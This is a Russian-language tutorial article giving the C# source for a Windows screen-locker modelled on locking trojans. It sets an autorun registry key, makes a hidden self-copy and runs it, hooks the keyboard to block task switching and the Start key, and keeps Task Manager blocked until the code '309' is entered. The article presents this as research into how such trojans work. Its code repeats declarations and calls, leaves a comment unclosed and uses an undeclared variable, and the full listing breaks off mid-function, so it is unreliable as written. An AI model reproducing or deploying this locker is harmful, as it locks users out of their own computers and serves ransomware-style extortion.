Реализация блокиратора операционной системы.
В данной статье будет рассмотрена реализация программы, блокирующей доступ пользователя к важным ресурсам операционной системы Windows и работу с ней в целом. Цель данной статьи - исследование принципа действия троянов, блокирующих работу пользователя с ОС и создание программы с аналогичным функционалом (но без возможности самораспространения через заражённые компьютеры). Программа написана на основе платформы .NET на языке программирования Visual C#.
В задачи программы-блокиратора входит в общем виде:
- Невозможность переключится на другое окно из окна данной программы.
- Невозможность закрыть (отключить) данную программу без введения секретного кода.
- При аппаратном (или возможном программном) отключении компьютера загрузка при следующем запуске ОС.
- Создание скрытой копии в неизвестном пользователю месте на диске (на случай, если пользователь удалит первичный исполняемый файл программы).
Более подробно эти задачи реализуются следующим образом:
- Ограничение доступа к диспетчеру задач Windows (taskmgr.exe).
- Ограничение доступа к другим окнам (запрет на обработку комбинации клавиш <Alt>+<Tab>).
- Ограничение доступа к меню "Пуск" ( запрет на обработку клавиши <WinKey>).
- Помещение программы в автозагрузку через создание соответствующего ключа реестра.
- Отключение программы только после введения пользователем правильного кода в соответствующее поле.
Реализация всего вышеперечисленного выполняется с помощью перехвата нажатия клавиш и их комбинаций, перехвата мыши и её эмуляции, использования свойств окна в Visual C#, обращения к реестру Windows и записи туда новых значений, управления процессами Windows.
Далее по порядку разбор программного кода и формы в Visual C#.
Сама форма, представленная на рисунке 1 имеет всего 4 элемента: непосредственно форма form1, текст "ENTER SECRET CODE HERE"в контейнере label1, поле для ввода текста textBox1 и кнопку button1 с надписью "SUBMIT".
Рисунок 1. Окно программы с подписанными элементами.
Программе для работы потребуются библиотеки, поэтому сначала идёт подключение необходимых библиотек:
using
System;
using
System.Collections.Generic;
using
Microsoft.Win32;
using
System.ComponentModel;
using
System.Data;
using
System.Drawing;
using
System.Reflection;
using
System.Linq;
using
System.Text;
using
System.Windows.Forms;
using
System.Runtime.InteropServices;
using
System.Diagnostics;
using System.IO;
Далее следует конструктор класса
Form1: Form1():
public
Form1()
{
InitializeComponent();
TopMost = true;//Set form on the front of screen
}
В конструкторе устанавливается TopMost = true;. Это означает, что свойство TopMost приняло истинное значение и теперь форма будет отображаться поверх всех окон.
Следующая часть программы помещает её в автозагрузку:
//Set
programm to autorun by Windows Registry key
public bool SetAutorunValue(bool
autorun)
{
string
name = "WindowsFormsApplication5";//Application name
string
ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path
//of application execution
RegistryKey
reg;//Class for working with Windows registry
reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");//Subkey creating in registry
try
{
if
(autorun)
{
reg.SetValue(name,
ExePath);//If success - then set an autoran key
values
//according to this application
}
else
{
reg.DeleteValue(name);//If failed - delete a created key
}
reg.Close();//Write data to registry and close it
}
catch
{
return
false;//If exception
(fail)
}
return
true;//If success
}
Здесь создаётся переменная reg класса RegistryKey, являющегося инкапсуляцией реестра Windows, в неё с помощью метода этого же класса CurrentUser.CreateSubKey записывается раздел реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, тем самым указывая рабочий раздел - раздел, отвечающий за автозагрузку и содержащий соответствующие ключи. Затем в этот раздел реестра добавляется с помощью метода SetValue(name, ExePath), где name - имя приложения (в данном случае - WindowsFormApplication5), а ExePath - текущее местоположение исполняемого файла приложения, ключ со значением, равным name. Действительно, после выполнения программы в реестре Windows в разделе
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run появляется новый ключ, соответствующий данной программе.
Рисунок 2. Ключ реестра, созданный в разделе HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run после выполнения программы.
Далее в программе следуют две функции: Form1_FormClosing_deny и Form1_FormClosing_access. Первая функция запрещает закрытие формы, вторая функция разрешает закрытие формы.
//Deny
the form closing
private
void Form1_FormClosing_deny(object sender, FormClosingEventArgs
e)
{
if
(e.CloseReason == CloseReason.UserClosing
| //If
closing by user
e.CloseReason == CloseReason.MdiFormClosing | //If closing by
parent form
e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
e.CloseReason == CloseReason.FormOwnerClosing) //If closing by
owner-form
{
e.Cancel = true;//Allow accepted
changes
}
}
//Accept the
form closing
private
void Form1_FormClosing_access(object sender, FormClosingEventArgs
e)
{
if
(e.CloseReason == CloseReason.UserClosing
| //If
closing by user
e.CloseReason == CloseReason.MdiFormClosing | //If closing by
parent form
e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
e.CloseReason == CloseReason.FormOwnerClosing) //If closing by
owner-form
{
e.Cancel = false;//Deny accepted
changes
}
}
Здесь в условии указываются возможные причины закрытия формы (пользователем, родительской формой, Диспетчером Задач Windows или формой-владельцем данной формы) и если хотя бы одна из них имеет место, то первая функция запрещает закрытие формы (так как e.Cancel принимает значение true, то есть отмена закрытия формы подтверждена), а вторая функция, напротив, разрешает закрытие формы
(так как e.Cancel принимает значение false, то есть отмена закрытия формы не подтверждена).
После этого в программе идёт перехват клавиш <Ctrl>, <Alt>, <Delete>, <WinKey>, а также комбинации клавиш <Alt>+<Tab>. Перехват основан на работе с хуками из WinAPI.
Хук (от англ. hook - крючок, ловушка) - точка в механизме, обрабатывающем сообщения. В этой точке приложение может установить подпрограмму, чтобы контролировать передачу сообщений в системе и обрабатывать определенные типы сообщений прежде, чем их получит приложение, для которого они предназначены. Для перехвата нажатий клавиш используется хук WH_KEYBOARD, для перехвата движения мыши и нажатия её кнопок используется хук WH_MOUSE. Смысл работы этих хуков в том, что ОС Windows вызывает их функции, когда из системной очереди соответственно собираются быть извлечены сообщение от нажатой или отпущенной клавиши или сообщение от мыши. Ниже представлен код работы с хуками для перехвата нажатия клавиш.
//Hooks
data
private
const int
WH_KEYBOARD_LL = 13;//Keyboard hook;
//Keys data
structure
[StructLayout(LayoutKind.Sequential)]
private
struct KBDLLHOOKSTRUCT
{
public
Keys key;
}
//Using
callbacks
private
LowLevelKeyboardProcDelegate m_callback;
private
LowLevelKeyboardProcDelegate m_callback_1;
private
LowLevelKeyboardProcDelegate m_callback_2;
private
LowLevelKeyboardProcDelegate m_callback_3;
private
LowLevelKeyboardProcDelegate m_callback_4;
private LowLevelKeyboardProcDelegate m_callback_5;
private LowLevelKeyboardProcDelegate m_callback_5;
private LowLevelKeyboardProcDelegate m_callback_6;
//Using hooks
private
IntPtr m_hHook;
private
IntPtr m_hHook_1;
private
IntPtr m_hHook_2;
private
IntPtr m_hHook_3;
private
IntPtr m_hHook_4;
private IntPtr m_hHook_5;
private IntPtr m_hHook_5;
private IntPtr m_hHook_6;
//Set hook on
keyboard
[DllImport("user32.dll", SetLastError = true)]
private
static extern IntPtr SetWindowsHookEx(int
idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int
dwThreadId);
//Unhook
keyboard
[DllImport("user32.dll", SetLastError = true)]
private
static extern bool UnhookWindowsHookEx(IntPtr
hhk);
//Hook handle
[DllImport("Kernel32.dll", SetLastError = true)]
private
static extern IntPtr GetModuleHandle(IntPtr
lpModuleName);
//Calling the
next hook
[DllImport("user32.dll", SetLastError = true)]
private
static extern IntPtr CallNextHookEx(IntPtr
hhk, int nCode, IntPtr
wParam, IntPtr lParam);
//<Alt>+<Tab> blocking
public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Tab)
{
return
(IntPtr)1;//<Alt>+<Tab>
blocking
}
}
return
CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go
to next hook
}
//<WinKey> capturing
public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.RWin ||
objKeyInfo.key == Keys.LWin)
{
return
(IntPtr)1;//<WinKey>
blocking
}
}
return
CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go
to next hook
}
//<Delete>
capturing
public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Delete)
{
return
(IntPtr)1;//<Delete>
blocking
}
}
return
CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go
to next hook
}
//<Control>
capturing
public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LControlKey)
{
return (IntPtr)1;//<Control> blocking
}
}
return
CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go
to next hook
}
//<Alt>
capturing
public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if (objKeyInfo.key == Keys.Alt)
{
return (IntPtr)1;//<Alt> blocking
}
}
return
CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go
to next hook
}
//<Alt>+<Space> blocking
public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Space)
{
return
(IntPtr)1;//<Alt>+<Space>
blocking
}
}
return
CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go
to next hook
}
//<Control>+<Shift>+<Escape>
blocking
public IntPtr
LowLevelKeyboardHookProc_control_shift_escape(int
nCode, IntPtr wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.LControlKey ||
objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LShiftKey ||
objKeyInfo.key == Keys.RShiftKey ||
objKeyInfo.key == Keys.Escape)
{
return
(IntPtr)1;//<Control>+<Shift>+<Escape>
blocking
}
}
return
CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go
to next hook
}
//Delegate
for using hooks
private
delegate IntPtr
LowLevelKeyboardProcDelegate(int nCode, IntPtr
wParam, IntPtr lParam);
//Setting all
hooks
public void SetHook()
{
//Hooks
callbacks by delegate
m_callback = LowLevelKeyboardHookProc_win;
m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
m_callback_2 = LowLevelKeyboardHookProc_ctrl;
m_callback_3 = LowLevelKeyboardHookProc_del;
m_callback_4 = LowLevelKeyboardHookProc_alt;
m_callback_5 = LowLevelKeyboardHookProc_alt_space;
m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
m_callback_2 = LowLevelKeyboardHookProc_ctrl;
m_callback_3 = LowLevelKeyboardHookProc_del;
m_callback_4 = LowLevelKeyboardHookProc_alt;
m_callback_5 = LowLevelKeyboardHookProc_alt_space;
m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
//Hooks
setting
m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
}
//Keyboard unhooking
public void Unhook()
{
UnhookWindowsHookEx(m_hHook);
UnhookWindowsHookEx(m_hHook_1);
UnhookWindowsHookEx(m_hHook_2);
UnhookWindowsHookEx(m_hHook_3);
UnhookWindowsHookEx(m_hHook_4);
UnhookWindowsHookEx(m_hHook_5);
UnhookWindowsHookEx(m_hHook_6);
UnhookWindowsHookEx(m_hHook);
UnhookWindowsHookEx(m_hHook_1);
UnhookWindowsHookEx(m_hHook_2);
UnhookWindowsHookEx(m_hHook_3);
UnhookWindowsHookEx(m_hHook_4);
UnhookWindowsHookEx(m_hHook_5);
UnhookWindowsHookEx(m_hHook_6);
}
Здесь сначала объявляются делегаты вызовов хуков (m_callback) и сами хуки (m_hHook), а также структура KBDLLHOOKSTRUCT, необходимая для работы методов хуков. Затем определяется порядок работы хука: вызывается библиотека User32.dll для работы с Win32 API (для каждого метода) и далее идут методы для постановки хука, его отключения, его обработчика и вызова следующего хука из цепочки хуков. Цепочка хуков (hook chain) - это список указателей на определенные приложением функции обратного вызова, которые вызывают функции хука (hook procedures). Когда появляется сообщение, связанное с типом установленного хука, Windows передает это сообщение по очереди каждой функции хука, упомянутой в цепочке. Потом следуют функции хуков, непосредственно перехватывающие нажатия клавиш (или комбинации клавиш) и блокирующие их обработку операционной системой (хук не пропускает сообщение от клавиатуры и оно не доходит до ОС). Подробно работа функций хуков описана в комментариях к коду. В общем виде смысл такой функции хука следующий: если код хука nCode больше или равен нулю, то есть перехвата ещё не было, то в памяти создаётся объект objKeyInfo, основанный на данных из структуры
KBDLLHOOKSTRUCT, содержащий данные о клавише, проверяется соответствие текущей нажатой клавиши этому объекту и в случае соответствия дескриптору возвращается значение 1, то есть хук перехватывает и блокирует обработку нажатия данной клавиши. Затем после всех функций хука функция SetHook() сначала устанавливает значения делегатов m_callback равными обратным вызовам функций хука , а затем устанавливает дескриптор хука равный значению определённой ранее функции SetWindowsHookEx для каждого случая в зависимости от параметров этой функции, тем самым устанавливая хук на клавиатуру. Функция Unhook() производит снятие хука с клавиатуры с помощью определённого ранее метода UnhookWindowsHookEx с соответствующими параметрами.
Далее в программе следует определение метода для эмуляции мыши и установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши. Необходимость эмуляции мыши будет объяснена в этой статье чуть позже.
//Set
mouse event for further mouse emulation
[DllImport("User32.dll")]
static extern void
mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr
dwExtraInfo);
//Mouse flags
enum
[Flags]
enum MouseFlags
{
Move = 0x0001,
LeftDown = 0x0002,
LeftUp = 0x0004,
RightDown = 0x0008,
RightUp = 0x0010,
Absolute = 0x8000
};
Здесь вызывается библиотека User32.dll для работы с Win32 API и определяется метод mouse_event с параметрами направления движения мыши, координате x на экране, координате y на экране и данным о текущем состоянии мыши). Затем в перечислении MouseFlags происходит установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши: Move - есть движение, LeftDown - влево-вниз, LeftUp - влево-вверх, RightDown - вправо-вниз, RightUp - вправо-вверх, Absolute - строго по прямой (вверх, вниз, вправо или влево).
Затем в программе идёт стандартный загрузчик формы Form1_Load(object sender, EventArgs e). В нём вызывается хук для перехвата обработки нажатия клавиш, происходит копирование программы в каталог C:\Users\%username%\Documents с таким же именем как у исходного исполняемого файла и с атрибутами "Скрытый" и "Только чтение" для того, чтобы пользователю было сложнее его найти. Также эта копия запускается как отдельный процесс, при этом важно, что контролируется копия запущена или оригинал, так как если это не проконтролировать, то будет происходить бесконтрольный запуск бесконечного числа копий и бесконтрольное их копирование (копия, "считая", что она - оригинал, копирует себя снова и порождает новый соответствующий процесс, который продолжая существовать, порождает ещё один процесс и так далее). Это необходимо для того, чтобы копия прописывалась в автозагрузке и программа продолжала существовать на жёстком диске, даже если первично запущенный оригинал был удалён или повреждён. После программа перехватывает управление мышью и перемещает её курсор в центр экрана на поле textBox1, эмулируя при этом нажатие правой кнопкой мыши, что влечёт появление контекстного меню для этого текстового поля при запуске программы. Это необходимо потому, что при запуске программы изначально панель задач Windows не скрыта под окном программы из-за особенностей обработчика this.Bounds = Screen.PrimaryScreen.WorkingArea;, отвечающего за установку размеров формы равными размерам экрана, поэтому, если навести курсор на панель задач Windows, предварительно совершив движение мышью, то возникает теоретическая возможность вызова Диспетчера Задач или любого другого средства с возможностью прервать выполнение программы. После этого программа записывает себя в автозагрузку, устанавливает размеры формы равными размерам экрана, устанавливает запрет на закрытие формы и запускает процесс taskmgr.exe как скрытый, чтобы пользователь не могу запустить Диспетчер Задач Windows. Ниже представлен код загрузчика формы Form1_Load(object sender, EventArgs e).
private
void Form1_Load(object
sender, EventArgs e)
{
SetHook();//Hook
for keypressing capturing
TopMost = true;//Make window of this aplication on the top of other
windows
//Making
copy of current programm to "C:\Users\%username\Documents"
//Full
path to current file
string
currentAssembly = Assembly.GetExecutingAssembly().Location;
//Current
filename
string
fileName = Path.GetFileName(currentAssembly);
//Destination folder
string
destinationDirectory = "C:\\Users\\";
//Current
username
string username = Environment.UserName;
//Documents
folder
string
documents = "Documents\\";
//Copied file
string
copy = Path.Combine(destinationDirectory,
username, documents, fileName);
//Flag
for checking if running programm is not a child process
bool
flag = true;
if
(currentAssembly == copy)
{
flag = false;
}
//Copying
to destination folder
if
(!System.IO.File.Exists(copy))
{
File.Copy(currentAssembly,
copy, true);
//Making
copy file hidden, system and reading only
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
}
else
{
//Making
copy file hidden, system and reading only
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
}
//Running
the copy of this programm to set it in the autorun only if current
//programm is
not a recently made copy
if
(flag == true)
{
Process.Start(copy);
}
//Coordinates
of new cursor position in the screen
const
int x = 32000;
const
int y = 32000;
//Put
mouse in the screen ceneter and click its right button to prevent ability
//of
taskbar
mouse_event(MouseFlags.Absolute | MouseFlags.Move,
x, y, 0, UIntPtr.Zero);//Move
//cursor
mouse_event(MouseFlags.Absolute | MouseFlags.RightDown,
x, y, 0, UIntPtr.Zero);//
//Push mouse right button
mouse_event(MouseFlags.Absolute | MouseFlags.RightUp,
x, y, 0, UIntPtr.Zero);//
//Release mouse right button
SetAutorunValue(true);//Call function to
put this application to autorun
this.Bounds
= Screen.PrimaryScreen.WorkingArea;//Set form size equal to full
//screen size
this.FormClosing
+= Form1_FormClosing_deny;//Binding addition to the
form
//constructor
Process
p = new Process();//New process
p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set
working directoty
p.StartInfo.FileName = "taskmgr.exe";//Set
filename for process
p.StartInfo.CreateNoWindow = true;//New window for
starting process
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making
the window for
//process hidden
p.Start();//Start
taskmgr process
this.Focus();//Focus on taskmgr
}
Подробнее нюансы работы данного блока описаны в комментариях к коду рядом с соответствующими строками этого кода.
Последним блоком кода в программе идёт функция-обработчик нажатия кнопки button1. Она проверяет соответствие заданного в строковой переменной пароля введённому в поле ввода textBox1 коду и в случае, если они совпали, разрешает закрытие формы, прерывает порождённые процессы Диспетчера Задач Windows, снимает хук с клавиатуры и закрывает программу. Если заданный в переменной пароль и код, введённый пользователем, не совпали, функция вызывает сообщение "WRONG CODE. TRY AGAIN.". Ниже представлен код этой функции.
private
void button1_Click(object
sender, EventArgs e)
{
TopMost = true;
string
pass = "309";//Code (key data)
//Checking if
inputed data is equal to key data
if(textBox1.Text
== pass)
{
this.FormClosing
+= Form1_FormClosing_access;//Allow form closing
Unhook();//Hooked keys unhooking
if
(flag == true)
{
Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
}
else
{
Process.GetProcessesByName("taskmgr")[1].Kill();//Kill taskmgr
}
Form1.ActiveForm.Close();//Close form
}
//If
inputed data is not equal to key data
else
{
MessageBox.Show("WRONG CODE. TRY AGAIN.");//Message for user
return;//Exit from button1 handler
}
}
Здесь string pass = "309"; - изначально задаваемый пароль, this.FormClosing += Form1_FormClosing_access; - разрешение закрытия формы путём добавления к стандартному обработчику закрытия формы функции
Form1_FormClosing_access, Unhook() - снятие хука с клавиатуры, Process.GetProcessesByName("taskmgr")[0].Kill(); - прерывание процесса
Диспетчера Задач Windows taskmgr.exe, при этом, если запущена копия, то прерывается второй по счёту процесс taskmgr.exe, и функция прерывания процесса уже имеет вид Process.GetProcessesByName("taskmgr")[1].Kill();. Form1.ActiveForm.Close(); - закрытие текущей формы, MessageBox.Show("WRONG CODE. TRY AGAIN."); - вывод сообщения для пользователя с текстом
"WRONG CODE. TRY AGAIN.".
Полный код программы на языке программирования Visual C#.
/* © Alexander
Bakhmatov
* 2012
* All rights are reserved
using
System;
using
System.Collections.Generic;
using
Microsoft.Win32;
using
System.ComponentModel;
using
System.Data;
using
System.Drawing;
using
System.Reflection;
using
System.Linq;
using
System.Text;
using
System.Windows.Forms;
using
System.Runtime.InteropServices;
using
System.Diagnostics;
using
System.IO;
namespace
WindowsFormsApplication5
{
public partial class Form1 : Form
{
public
Form1()
{
InitializeComponent();
TopMost = true;//Set form on the front of screen
}
//Set
programm to autorun by Windows Registry key
public bool SetAutorunValue(bool
autorun)
{
string
name = "WindowsFormsApplication5";//Application name
string
ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path
//of application execution
RegistryKey
reg;//Class for working with Windows registry
reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");//Subkey creating in registry
try
{
if
(autorun)
{
reg.SetValue(name,
ExePath);//If success - then set an autoran key
values
//according to this application
}
else
{
reg.DeleteValue(name);//If failed - delete a created key
}
reg.Close();//Write data to registry and close it
}
catch
{
return
false;//If exception
(fail)
}
return
true;//If success
}
//Deny
the form closing
private
void Form1_FormClosing_deny(object sender, FormClosingEventArgs
e)
{
if
(e.CloseReason == CloseReason.UserClosing
| //If
closing by user
e.CloseReason == CloseReason.MdiFormClosing | //If closing by
parent form
e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
e.CloseReason == CloseReason.FormOwnerClosing) //If closing by
owner-form
{
e.Cancel = true;//Allow accepted
changes
}
}
//Accept the
form closing
private
void Form1_FormClosing_access(object sender, FormClosingEventArgs
e)
{
if
(e.CloseReason == CloseReason.UserClosing
| //If
closing by user
e.CloseReason == CloseReason.MdiFormClosing | //If closing by
parent form
e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task
//Manager
e.CloseReason == CloseReason.FormOwnerClosing) //If closing by
owner-form
{
e.Cancel = false;//Deny accepted
changes
}
}
//If form is
closing then terminate taskmgr (Windows Task Manager) process
void
Form1_FormClosed(object sender, FormClosedEventArgs e)
{
Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
Unhook();//Hooked keys unhooking
}
//Hooks
data
private
const int
WH_KEYBOARD_LL = 13;//Keyboard hook;
//Keys data
structure
[StructLayout(LayoutKind.Sequential)]
private
struct KBDLLHOOKSTRUCT
{
public
Keys key;
}
//Using
callbacks
private
LowLevelKeyboardProcDelegate m_callback;
private
LowLevelKeyboardProcDelegate m_callback_1;
private
LowLevelKeyboardProcDelegate m_callback_2;
private
LowLevelKeyboardProcDelegate m_callback_3;
private
LowLevelKeyboardProcDelegate m_callback_4;
//Using hooks
private
IntPtr m_hHook;
private
IntPtr m_hHook_1;
private
IntPtr m_hHook_2;
private
IntPtr m_hHook_3;
private
IntPtr m_hHook_4;
//Set hook on
keyboard
[DllImport("user32.dll", SetLastError = true)]
private
static extern IntPtr SetWindowsHookEx(int
idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int
dwThreadId);
//Unhook
keyboard
[DllImport("user32.dll", SetLastError = true)]
private
static extern bool UnhookWindowsHookEx(IntPtr
hhk);
//Hook handle
[DllImport("Kernel32.dll", SetLastError = true)]
private
static extern IntPtr GetModuleHandle(IntPtr
lpModuleName);
//Calling the
next hook
[DllImport("user32.dll", SetLastError = true)]
private
static extern IntPtr CallNextHookEx(IntPtr
hhk, int nCode, IntPtr
wParam, IntPtr lParam);
//<Alt>+<Tab> blocking
public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Tab)
{
return
(IntPtr)1;//<Alt>+<Tab>
blocking
}
}
return
CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go
to next hook
}
//<WinKey> capturing
public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.RWin ||
objKeyInfo.key == Keys.LWin)
{
return
(IntPtr)1;//<WinKey>
blocking
}
}
return
CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go
to next hook
}
//<Delete>
capturing
public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Delete)
{
return
(IntPtr)1;//<Delete>
blocking
}
}
return
CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go
to next hook
}
//<Control>
capturing
public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LControlKey)
{
return (IntPtr)1;//<Control> blocking
}
}
return
CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go
to next hook
}
//<Alt>
capturing
public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT
if (objKeyInfo.key == Keys.Alt)
{
return (IntPtr)1;//<Alt> blocking
}
}
return
CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go
to next hook
}
//<Alt>+<Space> blocking
public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr
wParam, IntPtr lParam)
{
if
(nCode >= 0)//If not alredy captured
{
KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT
if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Space)
